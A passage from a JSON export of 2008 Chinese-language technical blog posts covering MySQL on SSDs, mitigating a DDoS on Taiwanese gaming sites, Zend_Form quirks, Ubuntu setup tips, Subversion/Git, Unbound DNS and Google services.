    "body": "補「<a href=\"http://jnlin.org/2008/04/12/279/\" rel=\"tag\">MySQL 在 Mtron SSD 上的測試</a>」這篇的說明。\r\n\r\n價位上，<a href=\"http://www.mtron.net/\" rel=\"tag\">Mtron</a> SSD Pro 7000 系列 32GB 的單顆進價大約在 $40K (含稅)，兩顆就 $80K 了，相較 15K RPM 73GB SCSI 硬碟四顆只要 $40K 的價錢偏高不少。\r\n\r\n效率上，MyISAM 的 real data 測試發現不論是 Mtron SSD 32GB*2 跑 RAID0，還是 15K RPM 73GB SCSI*4 跑 RAID10，都是 CPU 先到瓶頸，I/O 都沒有問題。至於 <a href=\"http://www.innodb.com/\" rel=\"tag\">InnoDB</a> 的結果在 <a href=\"http://feedblog.org/\" rel=\"tag\">Kevin Burton</a> 的 Blog 上可以看到不少 real data 的資訊。\r\n\r\n不過，如果你的資料庫遇到 I/O 瓶頸的話 (用 RAID 1+0 都還解決不了) 可以考慮用多顆 Mtron SSD RAID 把效率換出來，不過比較治本的方法應該是改寫程式，想辦法 partition。另外看看是不是因為大量的 Table scan 造成效率低落...\r\n\r\n對了，Mtron SSD 硬碟台灣有代理商了，<a href=\"http://www.yobeni.com.tw/\" rel=\"tag\">曜紅科技</a>。",
    "title": "Mtron SSD 固態硬碟"
  },
  {
    "id": "1489",
    "body": "本來今天是請假的，結果下午四點被急 call 處理事情，這加班的內容... 一整個冏啊... (抱頭)\r\n\r\nRef：<a href=\"http://blog.pixnet.net/ieon/post/17060655\" rel=\"tag\">宅宅的機房一po</a>、<a href=\"http://jnlin.org/2008/04/29/289/\" rel=\"tag\">加班</a>、<a href=\"http://blog.pixnet.net/slzzp/post/17065936\" rel=\"tag\">本日機房二油....</a>。\r\n\r\n<strong>Update</strong>：兩個網站的消息都出來了：\r\n<ul>\r\n\t<li><a href=\"http://www.gamebase.com.tw/news/gb_news.html?sno=82740365\" rel=\"tag\">兩大遊戲網站齊遭駭客勒索　惡意攻擊癱瘓</a></li>\r\n\t<li><a href=\"http://home.gamer.com.tw/blogDetail.php?owner=sega&sn=2497\" rel=\"tag\">巴哈姆特的威脅</a></li>\r\n</ul>",
    "title": "第一次加班加到早上..."
  },
  {
    "id": "1491",
    "body": "<a href=\"http://blog.pixnet.net/far\" rel=\"tag\">老闆的老闆</a>說 ok，所以...\r\n\r\n<a href=\"http://www.gamebase.com.tw/\" rel=\"tag\">遊戲基地</a>與 <a href=\"http://www.pixnet.net/\" rel=\"tag\">PIXNET</a> 是同一個集團，而<a href=\"http://www.gamer.com.tw/\" rel=\"tag\">巴哈姆特</a>與大頭們都相當熟識。我本來星期一請假，下午三點把事情處理完回到家準備要睡一下，四點就接到急 call 電話，弄到隔天凌晨四點才回家...\r\n\r\n攻擊的模式是大量 IP 用發出大量 HTTP 連線，所以暫時性的解法朝著壓低連線限制，而且要儘快，最好是有現成的設備直接做，不要自己用軟體調整參數調半天。\r\n\r\nGamebase 有將近一打的 Web server，是 Alteon AD3 撐不住所以掛掉，(中間有一堆測試的過程就不講了)，最後是在前端放一台 <a href=\"http://www.cisco.com/\" rel=\"tag\">Cisco</a> ASA 5520，然後用 <a href=\"http://haproxy.1wt.eu/\" rel=\"tag\">HAProxy</a> 換掉 AD3。但 ASA 5520 不夠力，目前還是請 ISP 先做一些處理。\r\n\r\n巴哈姆特因為架構比較單純，所以前端放了 Cisco PIX (型號忘了...) 擋著，放上去後站方也是請 <a href=\"http://www.seed.net.tw/\" rel=\"tag\">SEEDNet</a> 幫他們先做一些處理。\r\n\r\n其實我並沒有幫到什麼忙，主要還是 SI 願意賣面子先借硬體設備處理。我只是大概知道要朝哪個方向，聯絡哪些單位而已。",
    "title": "遊戲基地與巴哈姆特"
  },
  {
    "id": "1492",
    "body": "在「<a href=\"http://www.bitbybit.dk/carsten/blog/?p=203\" rel=\"tag\">PHP array_merge is Slow</a>」這篇的 comments 看到 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 裡兩個 array 相加的處理，實際寫了一些小程式玩過後發現一些以前不知道的東西 :p\r\n\r\nassociated array 用 <code>$a + $b</code> 時，如果有重複的 key 會優先取前者 (<code>$a</code>)，要優先取 <code>$b</code> 就用 <code>$b + $a</code>。",
    "title": "PHP 的 array_merge"
  },
  {
    "id": "1493",
    "body": "對 Jefferson High School 做性行為研究的資料。這是很久前的研究，我一直以為我在看到報導後就在 Blog 上提過，但剛剛要找的時候發現我沒寫過...\r\n\r\n下面這張是 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> 上找到的圖，似乎是在會場裡。這張圖的大圖可以在原始研究網站上看到：<a href=\"http://researchnews.osu.edu/archive/chainspix.htm\" rel=\"tag\">Researchers Map The Sexual Network Of An Entire High School</a>。\r\n\r\n<a href=\"http://www.flickr.com/photos/eschipul/156885316/\" rel=\"tag\"><img src=\"http://farm1.static.flickr.com/75/156885316_b3baf11f56.jpg\" alt=\"\" /></a>\r\n\r\n這也是一種 Social Network...",
    "title": "Jefferson High School 的「關係圖」"
  },
  {
    "id": "1494",
    "body": "本來要寫「一些 <a href=\"http://framework.zend.com/manual/en/zend.form.html\" rel=\"tag\">Zend_Form</a> 地雷」，結果整理起來還不少，還是改成「很多地雷」比較合理。\r\n\r\n第一個地雷是 select 元素：\r\n<blockquote><code>$el = $this-&gt;createElement('select', 'siteshow');\r\n$el-&gt;setLabel('是否顯示下一頁');\r\n$el-&gt;addMultiOption('1', '顯示');\r\n$el-&gt;addMultiOption('0', '不顯示');\r\n$this-&gt;addElement($el);</code></blockquote>\r\n對這個元素設定值時，要記得用 <code>intval()</code> 轉成數字，像這樣：\r\n<blockquote><code>$f-&gt;siteshow-&gt;setValue(intval($dbval['siteshow']));</code></blockquote>\r\n第二個地雷是 <code>setRequired()</code> 的處理，假設你這樣寫：\r\n<blockquote><code>$el = $this-&gt;createElement('text', 'article_title');\r\n$el-&gt;setLabel('文章標題');\r\n$el-&gt;setRequired(TRUE);\r\n$this-&gt;addElement($el);</code></blockquote>\r\n因為 <code>setRequired</code> 是使用 <code><a href=\"http://www.php.net/empty\" rel=\"tag\">empty()</a></code> 判斷，所以標題取 \"0\" 時就會過不去。目前的解法是用 <code><a href=\"http://framework.zend.com/manual/en/zend.validate.set.html#zend.validate.set.string_length\" rel=\"tag\">stringLength</a></code> 指定最小與最大長度：\r\n<blockquote><code>$el-&gt;addValidator('stringLength', FALSE, array(1, 255));\r\n$el-&gt;addValidator('stringLength', FALSE, array(1)); # 沒有最大長度限制</code></blockquote>\r\n第三個... 忘記了，想到再寫 Q_Q",
    "title": "很多地雷的 Zend_Form..."
  },
  {
    "id": "1495",
    "body": "幫我們公司徵人 :p\r\n\r\n要徵熟悉 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a>，以及 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> 的正職 coder 兩名，工作地點在台北市民生東路二段這邊，有興趣的人請將履歷寄到 104@pixnet.tw，標題請寫上「應徵 PIXNET 程式設計師」。\r\n\r\n這份工作主要的內容是寫 PHP，如果熟悉 <a href=\"http://framework.zend.com/\" rel=\"tag\">Zend Framework</a> (目前我們用這個開發) 或其他 Framework 更好。\r\n\r\n有問題除了可以在 comment 問以外，也可以直接寫信到 gslin at pixnet.tw 問我。",
    "title": "PIXNET 徵正職 PHP 工程師"
  },
  {
    "id": "1496",
    "body": "今年四月四日正式發佈的 <a href=\"http://unicode.org/versions/Unicode5.1.0/\" rel=\"tag\">Unicode 5.1.0</a> (<a href=\"http://www.unicode.org/press/pr-5.1.html\" rel=\"tag\">Unicode Version 5.1 Released</a>)，<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 也在五月宣佈正式支援這些新的字元：<a href=\"http://googleblog.blogspot.com/2008/05/moving-to-unicode-51.html\" rel=\"tag\">Moving to Unicode 5.1</a>。\r\n\r\nGoogle 除了宣佈支援 Unicode 5.1.0 以外，也分析了目前網頁編碼的比例。UTF-8 編碼網頁所佔的比例超越了 ASCII &amp; ISO8859-1，而且還不斷在成長...",
    "title": "使用 Unicode 的網頁所佔的比例"
  },
  {
    "id": "1497",
    "body": "如果是自己搞網站 (程式美術都自己來)，用 <a href=\"http://framework.zend.com/manual/en/zend.form.html\" rel=\"tag\">Zend_Form</a> 設定完後，透過 <code>render()</code> 將 HTML code 呈現的確不錯，畢竟強迫你要用 CSS 去處理頁面呈現。不過，如果是請別人先做好美術版面，產生 HTML 後才要轉成 Zend_Form 生出來的話，就會用到很多 manual 裡不會教的「壞方法」XD\r\n\r\n目前用到的方法是在 view 裡面 (我用 <a href=\"http://framework.zend.com/manual/en/zend.view.html\" rel=\"tag\">Zend_View</a>) 直接顯示 Element，像是這樣：\r\n<blockquote><code>&lt;?= $this-&gt;post_form-&gt;post_title ?&gt;</code></blockquote>\r\n但只用上面的方法會產生一堆 dt + dd 之類的東西，這是因為 Element 預設的 Decorator 太多，所以需要重設只用 ViewHelper：\r\n<blockquote><code>$element-&gt;setDecorators(array('ViewHelper'));</code></blockquote>\r\n其他的在原來的 tutorial 都有寫。\r\n\r\n另外有點很重要，因為 Zend_Form 在 1.5 版才納入，所以文件並不一定能夠涵蓋所有的方法，看 source code 瞭解用法的能力很重要...",
    "title": "Zend_Form 的一些紀錄"
  },
  {
    "id": "1498",
    "body": "這邊講的是，在 <a href=\"http://www.ubuntu.com/\" rel=\"tag\">Ubuntu</a> 下透過手機的 USB 線上網，主要是參考 <a href=\"http://ubuntuforums.org/showthread.php?t=339982\" rel=\"tag\">Re: Howto: Nokia N73 USB cable dialup</a> 這篇文章找到資料的。\r\n\r\n把手機 (Nokia 6210) 接上 USB 傳輸線後，Ubuntu 上可以看到 <code>/dev/ttyACM0</code> (dmesg 的訊息)，這時候先跑 <code>wvdialconf</code> 讓他自動偵測，將設定檔寫入 <code>/etc/wvdial.conf</code> 後，再修改 <code>/etc/wvdial.conf</code> 裡的 Phone/Username/Password。電話號碼我是用 <code>*99#</code>，Username/Password 都是用 internet (隨便設)。\r\n\r\n但我沒看到 APN 在哪裡設定，會故意把 Username/Password 都設定成與 APN 一樣也是因為想猜看看，但說不定下個月的帳單還是很精彩 XD",
    "title": "在 Ubuntu 上用 3G 上網"
  },
  {
    "id": "1499",
    "body": "Notebook 是 <a href=\"http://www.ibm.com/\" rel=\"tag\">IBM</a> R60，螢幕大小是 1024x768，家裡的 <a href=\"http://www.samsung.com/\" rel=\"tag\">Samsung</a> SyncMaster 245B 是 1920x1200，其中 DVI 介面接 Desktop，而 VGA 介面以前用 Windows 時拿來接 R60 雙螢幕。\r\n\r\n在 <a href=\"http://www.ubuntu.com/\" rel=\"tag\">Ubuntu</a> 上想要雙螢幕輸出，但一直卡在解析度上：都是 1024x768 或都是 1920x1200 (Notebook 上會用模擬的)，後來找到這篇「<a href=\"http://yurinfore.blogspot.com/2006/09/ubuntu.html\" rel=\"tag\">[ubuntu] 兩台不同解析度的雙螢幕設定</a>」，看起來有點舊，不過還是可以用。\r\n\r\n裡面提到的 HSync 與 VRefresh 我都沒設定，另外補上了 <code>Option \"Mode1\" \"1024x768\"</code>，這樣就正常了，目前這樣使用還蠻正常的。",
    "title": "在 Ubuntu 上雙螢幕輸出"
  },
  {
    "id": "1500",
    "body": "用 commit-email.pl 或是 <a href=\"http://search.cpan.org/dist/SVN-Notify/bin/svnnotify\" rel=\"tag\">svnnotify</a> 的人，在 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> commit 時裡輸入 UTF-8 commit log (這邊指非純英文，在我自己的環境裡是中文)，寄出的信會產生亂碼。\r\n\r\n在網路上搜尋或是自己追蹤後，會發現是 svnlook 輸出的問題。網路上很多方法都是改 commit-email.pl，修正 svnlook 的輸出結果，但這個方法我不太喜歡。我覺得 svnlook 應該有設定可以調整，可以讓他輸出正確的 commit log，第一次跑 svnlook 就發現在我的 <a href=\"http://www.chiark.greenend.org.uk/~sgtatham/putty/\" rel=\"tag\">PuTTY</a> console 可以正確顯示，測過幾次後發現是因為 svnlook 依照 locale(1) 設定而產生亂碼。\r\n\r\n知道問題後就很簡單了，由於 svnlook 會看 locale(1) 的設定，所以在 post-commit 裡先用 <code>export LANG=\"en_US.UTF-8\"</code> (sh/bash) 或是 <code>setenv LANG en_US.UTF-8</code> (csh/tcsh) 將 locale 設為 UTF-8，再使用 commit-email.pl 送信就沒問題了。",
    "title": "Subversion UTF-8 commit log"
  },
  {
    "id": "1501",
    "body": "<a href=\"http://framework.zend.com/\" rel=\"tag\">Zend Framework</a> 1.5.2 正式釋出了，由於 <a href=\"http://framework.zend.com/manual/en/zend.form.html\" rel=\"tag\">Zend_Form</a> 是 1.5 才納入，所以 1.5 有很多 bug 是在修正 Zend_Form。\r\n\r\n像是「<a href=\"http://blog.gslin.org/archives/2008/05/04/1494/\" rel=\"tag\">很多地雷的 Zend_Form...</a>」中提到的 <code>setRequired()</code> 問題在「<a href=\"http://framework.zend.com/issues/browse/ZF-2851\" rel=\"tag\">value \"0\" is treated as empty</a>」被解掉了。\r\n\r\n1.5.2 修正的問題，以及改善的地方，可以在「<a href=\"http://framework.zend.com/issues/secure/IssueNavigator.jspa?requestId=10743\" rel=\"tag\">Issue Navigator — Fixed in 1.5.2</a>」這頁看到。\r\n\r\n這幾天發現沒有 Zend_Form_Element_File，查了一些討論發現發展團隊似乎要等 Zend_Upload 的架構先出現才要實做 Zend_Form_Element_File，看起來這幾個月內是沒這東西了，先自己寫一個會動的版本... @_@",
    "title": "Zend Framework 1.5.2"
  },
  {
    "id": "1502",
    "body": "<a href=\"http://youtomb.mit.edu/\" rel=\"tag\">YouTomb</a>，是 <a href=\"http://freeculture.mit.edu/\" rel=\"tag\">MIT Free Culture</a> 所架設的服務，蒐集 <a href=\"http://www.youtube.com/\" rel=\"tag\">YouTube</a> 上因為版權侵權而被下架的影片。\r\n\r\n看完這個網站做的事情後，第一個反應式「這個名字取的真機車」，第二個反應是「這不會被 <a href=\"http://en.wikipedia.org/wiki/Digital_Millennium_Copyright_Act\" rel=\"tag\">DMCA</a> 幹掉嗎」。但翻了一下，發現網站的 source code 有以 <a href=\"http://www.fsf.org/licensing/licenses/agpl-3.0.html\" rel=\"tag\">AGPLv3</a> 釋出，擺明就是「如果我們被抄了，其他人趕快拿 source code 去 clone 一個」XD\r\n\r\n在狀態頁還有相當完整的統計，會指出哪些版權擁有團體下架的最多... 第一名居然是 TV TOKYO Corporation，我本來以為會是美國公司...\r\n\r\nPS：會寫在 Blog 上的原因是因為 <a href=\"http://twitter.com/\" rel=\"tag\">twitter</a> 爛掉了，不然我只打算丟幾句話在 twitter 上的... :/",
    "title": "YouTomb：被 YouTube 下架的影片"
  },
  {
    "id": "1503",
    "body": "同上篇文章，因為 <a href=\"http://twitter.com/\" rel=\"tag\">twitter</a> 連不上，所以只好寫成 Blog 胡言亂語...\r\n\r\n昨天 <a href=\"http://blog.linux.org.tw/~jserv/\" rel=\"tag\">jserv</a> 講了「<a href=\"http://blog.linux.org.tw/~jserv/archives/002025.html\" rel=\"tag\">我愛 Git</a>」，在台下聽的時候順便試 git-svn (或 git svn) 的操作，發現效能比 <a href=\"http://svk.bestpractical.com/\" rel=\"tag\">SVK</a> 好許多，而我想要的功能在 <a href=\"http://git.or.cz/\" rel=\"tag\">Git</a> 上面也都有了，那麼... 也沒什麼好說了，先把手上幾個工作目錄換成 Git :p\r\n\r\n回到家把雜事處理完後 (主要是玩 <a href=\"http://www.gladiatus.tw/\" rel=\"tag\">Gladiatus</a>？)，打開 <a href=\"http://www.bloglines.com/\" rel=\"tag\">Bloglines</a> 消化一整天沒讀的 feed，發現 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 也發了一篇「<a href=\"http://google-opensource.blogspot.com/2008/05/develop-with-git-on-google-code-project.html\" rel=\"tag\">Develop with Git on a Google Code Project</a>」跟 jserv 的主題還蠻有關係的。\r\n\r\n雖然 <a href=\"http://code.google.com/\" rel=\"tag\">Google Code</a> 使用 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a>，但仍然可以透過 Git 操作，操作的方式在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 的文章裡寫的很清楚了。如果對於 Git 不熟的人，我建議先看「<a href=\"http://www.reonsoft.com/~john/blog/2008/03/24/git-svn/\" rel=\"tag\">git-svn</a>」這篇中文的 blog 文章，裡面的例子直接照做就會動。\r\n\r\n今天上班的時候再測試看看 performance，把 <a href=\"http://framework.zend.com/\" rel=\"tag\">Zend Framework</a> 1.5.2 整包塞進去會花多久 :p",
    "title": "Git 與 Subversion 的結合"
  },
  {
    "id": "1504",
    "body": "<a href=\"http://www.unbound.net/\" rel=\"tag\">Unbound</a> 是一個 DNS resolver (接受 recursive query 的 DNS server)，最近出了 1.0.0 版，在 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上被提出來：<a href=\"http://tech.slashdot.org/tech/08/05/21/0153201.shtml\" rel=\"tag\">Open Source BIND Alternative Launches</a>。\r\n\r\n首先是軟體授權條款，Unbound 與 <a href=\"http://www.isc.org/sw/bind/\" rel=\"tag\">BIND</a> 都是 open source project，BIND 是 <a href=\"http://en.wikipedia.org/wiki/ISC_licence\" rel=\"tag\">ISC license</a>，Unbound 是 <a href=\"http://en.wikipedia.org/wiki/BSD_licenses\" rel=\"tag\">BSD license</a>，兩種授權都很簡短，而且也很清楚。\r\n\r\n設定上，BIND 需要設定才能處理 recursive query，雖然很簡單 (設定 allow-recursive 這個參數)，但相較於 Unbound 預設值就會動 (unbound.conf.sample 直接拿來用) 就有點不太爽 :p\r\n\r\n穩定度的部份，在 Slashdot 上的文章有人提到用 BIND 當 resolver 不太穩定，這點我自己用偶而也會遇到 (對 recursive query 沒有回應)。趁 Unbound 1.0.0 有人推薦的時候決定拿幾台純 resolver 的伺服器試看看...\r\n\r\n在 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上安裝的時候有看到 <a href=\"http://monkey.org/~provos/libevent/\" rel=\"tag\">Libevent</a> 的選項可以選，不是很確定他拿 Libevent 做什麼用途。\r\n\r\n目前裝起來後用起來都還蠻正常的，觀察一陣子看看。",
    "title": "Unbound"
  },
  {
    "id": "1505",
    "body": "最近在翻一些 <a href=\"https://addons.mozilla.org/en-US/firefox/addon/748\" rel=\"tag\">Greasemonkey</a> script 的時候翻到 <a href=\"http://www.mozilla.com/firefox/\" rel=\"tag\">Firefox</a> 上可以使用 <a href=\"http://developer.mozilla.org/en/docs/DOM:document.evaluate\" rel=\"tag\"><code>document.evaluate()</code></a>，才發現之前用 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 做這種小事情很不划算...\r\n\r\n在 Firefox 上可以透過 <code>document.evaluate()</code> 吃 <a href=\"http://www.w3.org/TR/xpath\" rel=\"tag\">XPath</a> 條件式找出符合的元素。利用這個功能取代本來用 jQuery $('.className') 還蠻容易的，等有力氣的時候來改寫 album expander... :p",
    "title": "document.evaluate()"
  },
  {
    "id": "1506",
    "body": "在 <a href=\"http://googleajaxsearchapi.blogspot.com/\" rel=\"tag\">Gogle AJAX Search API Blog</a> 上 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 公告了他們將會 hosting 幾個常用的 javascript library 讓人使用：<a href=\"http://googleajaxsearchapi.blogspot.com/2008/05/speed-up-access-to-your-favorite.html\" rel=\"tag\">Speed up access to your favorite frameworks via the AJAX Libraries API</a>。\r\n\r\n最簡單的方法就是把本來的程式碼：\r\n<blockquote><code>&lt;script type=\"text/javascript\" src=\"http://static.example.com/jquery-1.2.6.min.js\"&gt;&lt;/script&gt;</code></blockquote>\r\n改成 Google 提供的位置：\r\n<blockquote><code>&lt;script type=\"text/javascript\" src=\"http://ajax.googleapis.com/ajax/libs/jquery/1.2.6/jquery.min.js\"&gt;&lt;/script&gt;</code></blockquote>\r\n剛剛先把<a href=\"http://userscripts.org/scripts/show/12267\" rel=\"tag\">無名的 album expander</a> 與 <a href=\"http://userscripts.org/scripts/show/24589\" rel=\"tag\">PIXNET 的 album expander</a> 所使用的 <a href=\"http://jquery.com/\" rel=\"tag\">jQuery</a> 都更新改用 Google 提供的 hosting。",
    "title": "Google 提供 Javascript Library Hosting"
  },
  {
    "id": "1507",
    "body": "在 <a href=\"http://www.readwriteweb.com/\" rel=\"tag\">ReadWriteWeb</a> 的訪談中跟 <a href=\"http://code.google.com/appengine/\" rel=\"tag\">Google App Engine</a> 的 Product Manager 談到收費的金額：<a href=\"http://www.readwriteweb.com/archives/google_app_engine_announcements.php\" rel=\"tag\">Google App Engine Announces Pricing Plan, APIs, Open Access</a>。\r\n\r\n<strong>Update</strong>：<a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 正式的新聞稿也可以在網站上看到了：<a href=\"http://www.google.com/intl/en/press/annc/20080527_google_io.html\" rel=\"tag\">Google App Engine to Announce Open Sign-ups, Pricing Plans, and New APIs at Google I/O</a>。\r\n\r\n頻寬的費用與 <a href=\"http://aws.amazon.com/\" rel=\"tag\">Amazon Web Service</a> 差不多，儲存空間的部份跟 <a href=\"http://s3.amazonaws.com/\" rel=\"tag\">Amazon S3</a> 比起來也差不多，CPU 暫時沒有想到要怎麼比較。\r\n\r\n除了收費的事情之外，文章裡有提到會多兩組功能，一組是對圖片的處理：目前不清楚 Google 是不是自己有另外開發，不過在自己建置的環境裡常用 <a href=\"http://www.boutell.com/gd/\" rel=\"tag\">GD</a> 或 <a href=\"http://www.imagemagick.org/script/index.php\" rel=\"tag\">ImageMagick</a> 處理。另外一組功能是 cache，讓你可以把算好的資料存起來重複使用。\r\n\r\n再來是大家一直都很希望 Google App Engine 可以支援 <a href=\"http://www.python.org/\" rel=\"tag\">Python</a> 以外的語言，不過照文章裡的說法，目前暫時沒有計畫。\r\n\r\n以後應該有 Blog software 會 porting 到 Google App Engine 的環境上，以這種用多少算多少的方式，之後可以考慮把整個站搬到上面？",
    "title": "Google App Engine 的收費，以及功能的加強"
  },
  {
    "id": "1508",
    "body": "因為 <a href=\"http://twitter.com/\" rel=\"tag\">Twitter</a> 爛太久了，所以搬到被 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 買下的 <a href=\"http://www.jaiku.com/\" rel=\"tag\">Jaiku</a>... (關於 Jaiku 可以參考這篇：<a href=\"http://www.goston.net/2008/05/15/1329/\" rel=\"tag\">[網站] 青出於藍而勝於藍 - Jaiku</a>)\r\n\r\n另外，Jaiku 目前正搬移到自家的 <a href=\"http://code.google.com/appengine/\" rel=\"tag\">Google App Engine</a> 上，如果 Twitter 再不趕快修好就沒機會了：<a href=\"http://www.jaiku.com/blog/2008/04/08/wroom-were-moving-to-google-app-engine/\" rel=\"tag\">Wroom - we’re moving to Google App Engine</a>。\r\n\r\n<strong>Update</strong>：才剛搬過去就看到這個... XD\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/2532789534/\" rel=\"tag\"><img src=\"http://farm3.static.flickr.com/2296/2532789534_e32e83492d.jpg\" alt=\"\" /></a>",
    "title": "從 Twitter 換到 Jaiku"
  },
  {
    "id": "1509",
    "body": "收到 <a href=\"http://www.layeredtech.com/\" rel=\"tag\">Layeredtech</a> 通知要漲價的信，有一台是年繳所以暫時不受影響 (也就是 blog 這台)，但另外一台從 $124.20/month 漲到 $149.96/month，大約兩成的漲幅，算過之後決定把上面的服務搬出 Layeredtech，也許是該嚐試其他家了 :p",
    "title": "Layeredtech 漲價"
  },
  {
    "id": "1510",
    "body": "以往 <a href=\"http://dev.mysql.com/\" rel=\"tag\">MySQL</a> + <a href=\"http://www.danga.com/memcached/\" rel=\"tag\">memcached</a> 的作法是由 application 端「拉」資料後再塞到 memcached 上，這會產生幾個問題：\r\n<ul>\r\n\t<li>資料不同步：MySQL 上的資料更新了，但 memcached 裡的 cache 因為還沒過期而尚未更新。</li>\r\n\t<li>第一次的 Race Condition：同時有很多 client 向 memcached 要一份目前還不存在的 cache，這時候這些 client 都會跑到 MySQL 要資料再放一份到 memcached 上。</li>\r\n</ul>\r\n這兩個問題都有在 MySQL UDF + memcached 出來之前都有解法：前者可以在更新 MySQL 時順便更新 memcached 裡的資料；後者可以靠 memcached lock 的技巧避免突然有大量 Query 造成後端 MySQL 負荷過重。這兩個方法需要 application (client) 配合，不是很完美，但在實際應用上還算堪用。(一個很簡單的場景：如果公司內同時使用 <a href=\"http://www.php.net/\" rel=\"tag\">PHP</a> 與 <a href=\"http://www.perl.org/\" rel=\"tag\">Perl</a>，那麼就必須維護這兩個 library)\r\n\r\n除了 client 自己推資料到 memcached 上，也有人研究，當 MySQL 上的資料更新時，由 MySQL server 自動到 memcached 上更新資料，也就是把資料「推」到 memcached 上的方法。資料更新時的觸發動作可以用 <a href=\"http://dev.mysql.com/doc/refman/5.1/en/triggers.html\" rel=\"tag\">MySQL Trigger</a> 做到，而寫入到 memcached 的部份透過強者的 <a href=\"http://tangent.org/552/libmemcached.html\" rel=\"tag\">libmemcached</a> 處理：<a href=\"http://tangent.org/586/Memcached_Functions_for_MySQL.html\" rel=\"tag\">Memcached Functions for MySQL</a>。\r\n\r\nbtw，<a href=\"http://jan.kneschke.de/\" rel=\"tag\">Jan Kneschke</a> 也用 libmemcache 寫過類似的東西：<a href=\"http://jan.kneschke.de/projects/mysql/udf\" rel=\"tag\">UDF_LUA</a> 這篇的下方 (「MySQL and memcached」的部份)",
    "title": "MySQL UDF (User-defined function) 與 memcached"
  },
  {
    "id": "1511",
    "body": "這兩天在 <a href=\"http://www.bsdchat.com/\" rel=\"tag\">#bsdchat</a> 上有人提到目前 <a href=\"http://www.freebsd.org/\" rel=\"tag\">FreeBSD</a> -src tree 準備要換到 <a href=\"http://subversion.tigris.org/\" rel=\"tag\">Subversion</a> 上。剛剛在 mailing list 上看到第一個轉換過去的 commit log：<del><a href=\"http://lists.freebsd.org/pipermail/cvs-all/2008-May/259375.html\" rel=\"tag\">cvs commit: src/games/fortune/datfiles freebsd-tips</a></del>。(被 <a href=\"http://blog.rafan.org/\" rel=\"tag\">rafan</a> 指正，這不是第一個，第一個是「<a href=\"http://lists.freebsd.org/pipermail/cvs-all/2008-May/259320.html\" rel=\"tag\">cvs commit: src/usr.sbin/sicontrol sicontrol.c</a>」)\r\n\r\n在 <a href=\"http://www.paeps.cx/weblog/\" rel=\"tag\">Remko Lodder 的 blog</a> 上也有提到這件事情 (他就是上面那個 commit log 裡的 remko)：<a href=\"http://www.paeps.cx/weblog/FreeBSD/cvs_is_dead_long_live_subversion.html\" rel=\"tag\">CVS is Dead -- Long Live Subversion</a>。\r\n\r\n目前是透過 hook，把 Subversion 變更的內容同步到 CVS 上，然後把 CVS 上的整套工具慢慢換過去。目前的 Subversion Server 是 <a href=\"http://svn.freebsd.org/\" rel=\"tag\">svn.freebsd.org</a>，看起來還在建制中...\r\n\r\n<strong>Update</strong>：<a href=\"http://www.freebsd.org/news/newsflash.html#event20080603:01\" rel=\"tag\">FreeBSD 官方公告了這個消息</a>。",
    "title": "FreeBSD src 部份由 CVS 轉換到 Subversion"
  },
  {
    "id": "1512",
    "body": "在 <a href=\"http://www.techcrunch.com/\" rel=\"tag\">TechCrunch</a> 上看到他們把本來使用 <a href=\"http://akismet.com/\" rel=\"tag\">Akismet</a> 的 Plugin 換成 <a href=\"http://www.typepad.com/\" rel=\"tag\">TypePad</a> 提供的 <a href=\"http://antispam.typepad.com/\" rel=\"tag\">TypePad AntiSpam</a>，然後發現效果不錯：<a href=\"http://www.techcrunch.com/2008/05/29/typepad-antispam-a-new-open-source-comment-spam-fighter/\" rel=\"tag\">TypePad AntiSpam, A New Open Source Comment Spam Fighter</a>。\r\n\r\nTypePad AntiSpam 使用的 API 與 Akismet 一樣，所以，library 本身如果有可以設定 API url 的地方，就可以直接換到 TypePad AntiSpam，像是 <a href=\"http://www.cpan.org/\" rel=\"tag\">CPAN</a> 的 <a href=\"http://search.cpan.org/dist/Net-Akismet/\" rel=\"tag\">Net-Akismet</a>。\r\n\r\n不過我自己還是用 <a href=\"http://unknowngenius.com/blog/wordpress/spam-karma/\" rel=\"tag\">Spam Karma</a> 好了 :p",
    "title": "TypePad AntiSpam"
  },
  {
    "id": "1513",
    "body": "<a href=\"http://diveintomark.org/\" rel=\"tag\">Mark Pilgrim</a> 寫過不少文章以及書籍，常以 \"Dive into ...\" 作為名稱，像是 <a href=\"http://diveintoaccessibility.org/\" rel=\"tag\">Dive into Accessibility</a>、<a href=\"http://www.diveintopython.org/\" rel=\"tag\">Dive Into Python</a>、<a href=\"http://diveintogreasemonkey.org/\" rel=\"tag\">Dive into Greasemonkey</a>，他現在人在 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a>。\r\n\r\n剛剛在他的 blog 上看到他把 hash function 用在很特殊的地方，他把預測美國總統大選的文字先丟進 hash function，然後把 hash value 貼上來，等時間到了後再公開，然後鼓勵其他人也把預測的文字丟進 hash function，然後貼到他的 comment (或是 trackback 到他的 blog 上)：<a href=\"http://diveintomark.org/archives/2008/06/07/geeky-us-election-predictions\" rel=\"tag\">Geeky U.S. election predictions</a>。\r\n\r\n非常有趣的應用，不過很有 geek 的風格... XD",
    "title": "Hash 用在..."
  },
  {
    "id": "1514",
